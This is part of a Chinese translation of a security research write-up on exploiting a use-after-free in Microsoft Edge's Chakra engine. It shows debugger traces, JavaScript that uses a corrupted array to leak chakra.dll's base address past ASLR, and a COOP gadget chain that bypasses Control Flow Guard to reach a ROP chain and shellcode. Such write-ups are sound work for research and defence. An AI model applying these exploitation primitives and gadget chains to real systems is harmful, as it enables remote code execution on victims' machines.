00 0000003b`db4fce58 00007ffd`f763d307 KERNELBASE!VirtualFree
01 0000003b`db4fce60 00007ffd`f76398f8 chakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::ReleasePages+0x247
02 0000003b`db4fcec0 00007ffd`f76392c4 chakra!Memory::LargeHeapBlock::ReleasePages+0x54
03 0000003b`db4fcf40 00007ffd`f7639b54 chakra!PageStack<Memory::MarkContext::MarkCandidate>::CreateChunk+0x1c4
04 0000003b`db4fcfa0 00007ffd`f7639c62 chakra!Memory::LargeHeapBucket::SweepLargeHeapBlockList+0x68
05 0000003b`db4fd010 00007ffd`f764253f chakra!Memory::LargeHeapBucket::Sweep+0x6e
06 0000003b`db4fd050 00007ffd`f76426fc chakra!Memory::Recycler::SweepHeap+0xaf
07 0000003b`db4fd0a0 00007ffd`f7641263 chakra!Memory::Recycler::Sweep+0x50
08 0000003b`db4fd0e0 00007ffd`f7687f50 chakra!Memory::Recycler::FinishConcurrentCollect+0x313
09 0000003b`db4fd180 00007ffd`f76415b1 chakra!ThreadContext::ExecuteRecyclerCollectionFunction+0xa0
0a 0000003b`db4fd230 00007ffd`f76b82c8 chakra!Memory::Recycler::FinishConcurrentCollectWrapped+0x75
0b 0000003b`db4fd2b0 00007ffd`f8105bab chakra!ThreadServiceWrapperBase::IdleCollect+0x70
0c 0000003b`db4fd2f0 00007ffe`110b1c24 edgehtml!CTimerCallbackProvider::s_TimerProviderTimerWndProc+0x5b
0d 0000003b`db4fd320 00007ffe`110b156c user32!UserCallWinProcCheckWow+0x274
0e 0000003b`db4fd480 00007ffd`f5c7c781 user32!DispatchMessageWorker+0x1ac
0f 0000003b`db4fd500 00007ffd`f5c7ec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
 # Child-SP          RetAddr           Call Site
00 0000003b`dc09f578 00007ffd`f763ec85 KERNELBASE!VirtualFree
01 0000003b`dc09f580 00007ffd`f763d61d chakra!Memory::PageSegmentBase<Memory::VirtualAllocWrapper>::DecommitFreePages+0xc5
02 0000003b`dc09f5c0 00007ffd`f769c05d chakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::DecommitNow+0x1c1
03 0000003b`dc09f610 00007ffd`f7640a09 chakra!Memory::IdleDecommitPageAllocator::IdleDecommit+0x89
04 0000003b`dc09f640 00007ffd`f76cfb68 chakra!Memory::Recycler::ThreadProc+0xd5
05 0000003b`dc09f6e0 00007ffe`1044b2ba chakra!Memory::Recycler::StaticThreadProc+0x18
06 0000003b`dc09f730 00007ffe`1044b38c msvcrt!beginthreadex+0x12a
07 0000003b`dc09f760 00007ffe`12ad8364 msvcrt!endthreadex+0xac
08 0000003b`dc09f790 00007ffe`12d85e91 KERNEL32!BaseThreadInitThunk+0x14
09 0000003b`dc09f7c0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

经过与WebGL相关的几次测试后,我发现能够稳定地触发WebGL相关的分配来回收释放的int数组留下的内存空隙的调用堆栈如下所示。奇怪的是,这个内存分配不是通过VirtualAlloc完成的,而是通过HeapAlloc,但是它位于为此目的留下的一个内存空隙上。

[...]
Trying to alloc 0x1e84c0 bytes
ntdll!RtlAllocateHeap:
00007ffd`99637370 817910eeddeedd  cmp     dword ptr [rcx+10h],0DDEEDDEEh ds:000001f8`ae0c0010=ddeeddee
0:010> gu
d3d10warp!UMResource::Init+0x481:
00007ffd`92937601 488bc8          mov     rcx,rax
0:010> r
rax=00000200c2cc0000 rbx=00000201c2d5d700 rcx=098674b229090000
rdx=00000000001e84c0 rsi=00000000001e8480 rdi=00000200b05e9390
rip=00007ffd92937601 rsp=00000065724f94f0 rbp=0000000000000000
 r8=00000200c2cc0000  r9=00000201c3b02080 r10=000001f8ae0c0038
r11=00000065724f9200 r12=0000000000000000 r13=00000200b0518968
r14=0000000000000000 r15=0000000000000001
0:010> k 20
 # Child-SP          RetAddr           Call Site
00 00000065`724f94f0 00007ffd`929352d9 d3d10warp!UMResource::Init+0x481
01 00000065`724f9560 00007ffd`92ea1ce1 d3d10warp!UMDevice::CreateResource+0x1c9
02 00000065`724f9600 00007ffd`92e7732c d3d11!CResource<ID3D11Texture2D1>::CLS::FinalConstruct+0x2a1
03 00000065`724f9970 00007ffd`92e7055a d3d11!CDevice::CreateLayeredChild+0x312c
04 00000065`724fb1a0 00007ffd`92e97913 d3d11!NDXGI::CDeviceChild<IDXGIResource1,IDXGISwapChainInternal>::FinalConstruct+0x5a
05 00000065`724fb240 00007ffd`92e999e8 d3d11!NDXGI::CResource::FinalConstruct+0x3b
06 00000065`724fb290 00007ffd`92ea35bc d3d11!NDXGI::CDevice::CreateLayeredChild+0x1c8
07 00000065`724fb410 00007ffd`92e83602 d3d11!NOutermost::CDevice::CreateLayeredChild+0x25c
08 00000065`724fb600 00007ffd`92e7e94f d3d11!CDevice::CreateTexture2D_Worker+0x412
09 00000065`724fba20 00007ffd`7fad98db d3d11!CDevice::CreateTexture2D+0xbf
0a 00000065`724fbac0 00007ffd`7fb17c66 edgehtml!CDXHelper::CreateWebGLColorTexturesFromDesc+0x6f
0b 00000065`724fbb50 00007ffd`7fb18593 edgehtml!CDXRenderBuffer::InitializeAsColorBuffer+0xe6
0c 00000065`724fbc10 00007ffd`7fb198aa edgehtml!CDXRenderBuffer::SetStorageAndSize+0x73
0d 00000065`724fbc40 00007ffd`7fae6e0b edgehtml!CDXFrameBuffer::Initialize+0xc2
0e 00000065`724fbcb0 00007ffd`7faecff0 edgehtml!RefCounted<CDXFrameBuffer,SingleThreadedRefCount>::Create2<CDXFrameBuffer,CDXRenderTarget3D * __ptr64 const,CSize const & __ptr64,bool & __ptr64,bool & __ptr64,enum GLConstants::Type>+0xa3
0f 00000065`724fbd00 00007ffd`7faece6b edgehtml!CDXRenderTarget3D::InitializeDefaultFrameBuffer+0x60
10 00000065`724fbd50 00007ffd`7faecc87 edgehtml!CDXRenderTarget3D::InitializeContextState+0x11b
11 00000065`724fbdb0 00007ffd`7fad015b edgehtml!CDXRenderTarget3D::Initialize+0x137
12 00000065`724fbde0 00007ffd`7fad48ca edgehtml!RefCounted<CDXRenderTarget3D,MultiThreadedRefCount>::Create2<CDXRenderTarget3D,CDXSystem * __ptr64 const,CSize const & __ptr64,RenderTarget3DContextCreationFlags const & __ptr64,IDispOwnerNotify * __ptr64 & __ptr64>+0x7f
13 00000065`724fbe30 00007ffd`7fcda10f edgehtml!CDXSystem::CreateRenderTarget3D+0x10a
14 00000065`724fbeb0 00007ffd`7f1feca0 edgehtml!CWebGLRenderingContext::EnsureTarget+0x8f
15 00000065`724fbf10 00007ffd`7fc9373c edgehtml!CCanvasContextBase::EnsureBitmapRenderTarget+0x80
16 00000065`724fbf60 00007ffd`7f74f3fd edgehtml!CHTMLCanvasElement::EnsureWebGLContext+0xb8
17 00000065`724fbfa0 00007ffd`7f27af74 edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0xba6fd
18 00000065`724fc000 00007ffd`7f675945 edgehtml!CFastDOM::CHTMLCanvasElement::Trampoline_getContext+0x5c
19 00000065`724fc050 00007ffd`7eb3c35b edgehtml!CFastDOM::CHTMLCanvasElement::Profiler_getContext+0x25
1a 00000065`724fc080 00007ffd`7ebc1393 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b
1b 00000065`724fc160 00007ffd`7ea8d873 chakra!amd64_CallFunction+0x93
1c 00000065`724fc1b0 00007ffd`7ea90419 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
1d 00000065`724fc210 00007ffd`7ea94f4d chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x99
1e 00000065`724fc260 00007ffd`7ea94b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1f 00000065`724fc2f0 00007ffd`7ea936c9 chakra!Js::InterpreterStackFrame::Process+0x1a7

调用堆栈中的edgehtml!CFastDOM :: CHTMLCanvasElement :: Trampoline_getContext的存在揭示了这个代码路径是由我的WebGL初始化代码中的JavaScript行触发的: 

canvas.getContext("experimental-webgl");

在d3d10warp!UMResource :: Init这个堆分配之后的几个指令,分配的缓冲区的地址存储在缓冲区+ 0x38处,这正是我们梦寐以求的那种自我引用: 

d3d10warp!UMResource::Init+0x479:
00007ffd`929375f9 33d2            xor     edx,edx
00007ffd`929375fb ff159f691e00    call    qword ptr [d3d10warp!_imp_HeapAlloc (00007ffd`92b1dfa0)]      //Allocates 0x1e84c0 bytes
00007ffd`92937601 488bc8          mov     rcx,rax
00007ffd`92937604 4885c0          test    rax,rax
00007ffd`92937607 0f8400810600    je      d3d10warp!ShaderConv::CInstr::Token::Token+0x2da6d (00007ffd`9299f70d)
00007ffd`9293760d 4883c040        add     rax,40h
00007ffd`92937611 4883e0c0        and     rax,0FFFFFFFFFFFFFFC0h
00007ffd`92937615 488948f8        mov     qword ptr [rax-8],rcx         // address of buffer is stored at buffer+0x38
0:010> dqs @rcx
00000189`0f720000  00000000`00000000
00000189`0f720008  00000000`00000000
00000189`0f720010  00000000`00000000
00000189`0f720018  00000000`00000000
00000189`0f720020  00000000`00000000
00000189`0f720028  00000000`00000000
00000189`0f720030  00000000`00000000
00000189`0f720038  00000189`0f720000        //self-reference pointer
00000189`0f720040  00000000`00000000
00000189`0f720048  00000000`00000000
00000189`0f720050  00000000`00000000
00000189`0f720058  00000000`00000000
00000189`0f720060  00000000`00000000
00000189`0f720068  00000000`00000000
00000189`0f720070  00000000`00000000
00000189`0f720078  00000000`00000000

所以在WebGL初始化代码完成之后,我们需要使用R / W原语来遍历WebGL缓冲区(它们与我们的破坏的int数组相邻),寻找偏移量为0x38的自引用指针。一旦我们找到自引用指针,就可以很容易地计算出我们破坏的int数组的基址; 反过来,这意味着现在我们可以根据绝对地址进行读操作(但是请记住,我们仍然操作一个主要的限制,那就是只能读取/写入大于被破坏的int数组的基址的地址): 

function after_webgl(corrupted_index){
    for (var i = 11; i > 1; i -= 1){
        base_index = 0x4000 * i;
        arr[corrupted_index][base_index + 0x20] = 0x21212121;   //write at least to offset N if you want to read from offset N
        //read the qword at webgl_block + 0x38
        var self_ref = ud(arr[corrupted_index][base_index + 1]) * (2**32) + ud(arr[corrupted_index][base_index]);
        //If it looks like the pointer we are looking for...
        if (((self_ref & 0xffff) == 0) && (self_ref > 0xffffffff)){
            var array_addr = self_ref - i * 0x10000;
            //Limitation of the R/W primitive: target address must be > array address
            if (ptr_to_object > array_addr){
                //Calculate the proper index to target the address of the object
                var offset = (ptr_to_object - (array_addr + 0x38)) / 4;
                //Write at least to offset N if you want to read from offset N
                arr[corrupted_index][offset + 0x20] = 0x21212121;
                //Read the address of the vtable!
                var vtable_ptr = ud(arr[corrupted_index][offset + 1]) * (2**32) + ud(arr[corrupted_index][offset]);
                //Calculate the base address of chakra.dll
                var chakra_baseaddr = vtable_ptr - 0x005864d0;
                [...]

所以,如果我们足够幸运的话,泄漏的对象的地址会大于我们的损坏的int数组的地址(如果在第一次尝试中没有这么幸运的话,则需要更多的工作),我们可以简单的计算指定目标对象的索引(完成读取OOB所需),所以我们获取指向vtable的指针,然后我们可以计算chakra.dll的基地址。这样我们就挫败了ASLR,所以可以继续进入开发过程中的下一步。


伪面向对象编程

现在我们已经可以读写我们泄露的对象了,下面要设法绕过Control Flow Guard,以便可以将执行流重定向到我们的ROP链。为了绕过CFG,我使用了一种被称为伪面向对象编程(COOP)[11]或面向对象的漏洞利用技术[12]。

确切地说,我在后文中遵循了Sam Thomas [13]所描述的方法。这种技术基于链接两个函数,两个都是有效的CFG目标,提供两个原语: 

第一个函数(一个COOP部件)将局部变量(位于堆栈中)的地址作为另一个函数的参数传递,该函数通过间接调用进行调用。

第二个函数期望其中一个参数是指向结构的指针,并写入该预期结构的成员。

给定第二个COOP部件写入预期结构中的正确偏移量(等于第一个函数的返回地址存储在堆栈中的地址减去作为第一个函数的参数传递的局部变量的地址),可以使第二个函数覆盖堆栈中第一个函数的返回地址。这样,当执行第一个COOP部件的RET指令时,我们可以将执行流转移到ROP链,同时避开CFG,因为这种缓解尝试无法保护返回地址。

为了找到满足上述条件的两个函数,我写了一个IDApython脚本,它基于Quarkslab的Triton [14] DBA框架,这是由我的同事Jonathan Salwan、Pierrick Brunet和Romain Thomas开发的一个令人敬仰的引导引擎。

运行我的工具并检查其输出后,我选择了chakra!Js :: DynamicObjectEnumerator <int,1,1,1> :: MoveNext函数作为第一个COOP部件,通过间接调用来调用另一个函数,传递一个局部变量作为第二个参数(RDX寄存器)。存储堆栈中返回地址的地址与本地变量之间的距离为0x18字节: 

.text:0000000180089D40 public: virtual int Js::DynamicObjectEnumerator<int, 1, 1, 1>::MoveNext(unsigned char *) proc near
.text:0000000180089D40                 mov     r11, rsp
.text:0000000180089D43                 mov     [r11+10h], rdx
.text:0000000180089D47                 mov     [r11+8], rcx
.text:0000000180089D4B                 sub     rsp, 38h
.text:0000000180089D4F                 mov     rax, [rcx]
.text:0000000180089D52                 mov     r8, rdx
.text:0000000180089D55                 lea     rdx, [r11-18h]       //second argument is the address of a local variable
.text:0000000180089D59                 mov     rax, [rax+2E8h]
.text:0000000180089D60                 call    cs:__guard_dispatch_icall_fptr   //call second COOP gadget
.text:0000000180089D66                 xor     ecx, ecx
.text:0000000180089D68                 test    rax, rax
.text:0000000180089D6B                 setnz   cl
.text:0000000180089D6E                 mov     eax, ecx
.text:0000000180089D70                 add     rsp, 38h
.text:0000000180089D74                 retn
.text:0000000180089D74 public: virtual int Js::DynamicObjectEnumerator<int, 1, 1, 1>::MoveNext(unsigned char *) endp

我们制作一个假的虚拟桌面,使间接调用引用第二个COOP部件;对于第二个函数,我选择了edgehtml!CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry。第二个函数将EAX寄存器的内容写入第二个参数指向的结构的偏移量0x18处,这样就可以覆盖第一个函数的返回地址了: 

.text:000000018056BF90 ; void __fastcall CRTCMediaStreamTrackStats::WriteSnapshotForTelemetry(CRTCMediaStreamTrackStats *__hidden this, struct TelemetryStats::BaseTelemetryStats *)
.text:000000018056BF90                 mov     eax, [rcx+30h]
.text:000000018056BF93                 mov     [rdx+4], eax
.text:000000018056BF96                 mov     eax, [rcx+34h]
.text:000000018056BF99                 mov     [rdx+8], eax
.text:000000018056BF9C                 mov     rax, [rcx+38h]
.text:000000018056BFA0                 mov     [rdx+10h], rax
.text:000000018056BFA4                 mov     eax, [rcx+40h]
.text:000000018056BFA7                 mov     [rdx+18h], eax   //writes to offset 0x18 of the structure pointed by the 2nd argument == overwrites return address
.text:000000018056BFAA                 mov     eax, [rcx+44h]
.text:000000018056BFAD                 mov     [rdx+1Ch], eax
.text:000000018056BFB0                 mov     eax, [rcx+4Ch]
.text:000000018056BFB3                 mov     [rdx+20h], eax
.text:000000018056BFB6                 mov     eax, [rcx+50h]
.text:000000018056BFB9                 mov     [rdx+24h], eax
.text:000000018056BFBC                 retn
.text:000000018056BFBC ?WriteSnapshotForTelemetry@CRTCMediaStreamTrackStats@@MEBAXPEAUBaseTelemetryStats@TelemetryStats@@@Z endp

在反汇编CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry函数的代码中可以看出,用于覆盖返回地址的qword来自RCX + 0x40 / RCX + 0x44,这意味着它是具有假的vtable的对象的成员,因此它可以被攻击者完全控制。

当退出第一个COOP函数时,会覆盖返回地址,所以,我们就绕过了Control Flow Guard。我们使用堆栈旋转部件的地址作为覆盖返回地址的值; 这样,我们只需启动一个传统的ROP链,它将调用EShims!NS_ACGLockdownTelemetry :: APIHook_VirtualProtect,为我们的shellcode提供可执行权限,从而远程执行代码。


小结

ArrayBuffer对象一直是不同网络浏览器的各种UAF漏洞的源泉,Edge中的Chakra引擎也不例外。事实上,ArrayBuffer构造函数可以使用两个不同的分配器(malloc或VirtualAlloc),加上我们可以根据要创建的ArrayBuffer的长度来控制使用哪一个的事实,从而在尝试利用漏洞方面提供了便利。如果我们唯一的选择是将底层缓冲区分配给CRT堆,漏洞的利用可能会更难一些。

为了将相对R / W原语转换为绝对R / W,获得损坏的整数数组的基址是难点。为此,我们需要弄清楚如何滥用Quicksort来进行精确的元素交换。

最后,这篇博文的最后一部分展示了伪面向对象编程(COOP)的实际应用,我们通过利用两个有效的C ++虚拟函数设法绕过了Control Flow Guard:chakra!Js :: DynamicObjectEnumerator <int,1 ,1,1> :: MoveNext和edgehtml!CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry。它们可以进行链接以覆盖前者的返回地址,从而绕过CFG。


致谢

非常感谢我的同事SébastienRenaud和Jean-BaptisteBédrune在百忙之中帮我审阅了这篇文章。


参考文献 

[1]https://bugs.chromium.org/p/project-zero/issues/detail?id=983 

[2]https://technet.microsoft.com/library/security/ms16-145 

[3]https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=257597 

[4]https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/sort 

[5]https://msdn.microsoft.com/en-us/library/4xc60xas.aspx 

[6]https://labs.bluefrostsecurity.de/publications/2016/08/28/look-mom-i-dont-use-shellcode/ 

[7]https://en.wikipedia.org/wiki/Quicksort#Repeated_elements 

[8]https://en.wikipedia.org/wiki/Quicksort 

[9]https://github.com/lattera/glibc/blob/master/stdlib/qsort.c 

[10]https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#Description 

[11]http://syssec.rub.de/media/emma/veroeffentlichungen/2015/03/28/COOP-Oakland15.pdf 

[12]http://www.slideshare.net/_s_n_t/object-oriented-exploitation-new-techniques-in-windows-mitigation-bypass 

[13]https://twitter.com/_s_n_t 

[14] https://triton.quarkslab.com/ 

本文翻译自quarkslab.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
shan66
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66